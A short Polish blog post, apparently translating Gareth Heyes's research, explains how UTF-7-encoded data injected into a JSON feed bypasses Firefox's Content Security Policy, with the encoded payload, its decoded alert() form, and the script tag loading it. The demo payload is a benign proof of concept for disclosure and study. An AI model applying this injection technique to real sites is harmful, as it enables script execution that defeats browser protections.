24/11/2009
Michał Wiczyński podesłał nam tłumaczenie tekstu Garetha Heyesa, w którym zobrazowano sposób na ominięcie zabezpieczeń CSP w przeglądarce Firefox.
Na czym polega błąd?
Każda strona z feedem JSON-a nad którym może mieć kontrolę atakujący jest podatna na atak. Do feeda można wstrzyknąć kod, dzięki któremu atakujący jest w stanie kontrolować pozostałe elementy feeda. Wyjaśnijmy to na przykładzie:
W UTF-7 ciąg “ABC” jest reprezentowany jako:
+ACcAQQBCAEMAJw-
Jeżeli przykładowa odpowiedź w JSON wygląda tak:
[{'friend':'something',email:'something'} ]
to mając kontrolę nad wartością something, możemy umieścić własny kod:
+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlAC
AAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAb
wBuAGU-
w UTF-8:
'}];alert('May the force be with you');[{'job':'done
Umieszczając w/w kod, powstaje nam:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]
czyli:
[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]
Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):
"><script src="http://some.website/test.json" charset="utf-7"></script>
uruchamiamy kod, omijając CSP. Działający przykład: http://www.businessinfo.co.uk/labs/cspluke/test.html
Więcej informacji na temat CSP znajdziesz na blogu Mozilli. Aby przetestować swoją przeglądarkę pod kątem CSP, odwiedź tę stronę.
Wyniki testu pod kątem CSP nie napawają w moim przypadku optymistycznie…
Firefox(3.6.12) -> oblał wszystko
Chrome(7.0.517.44) -> 2/20 pass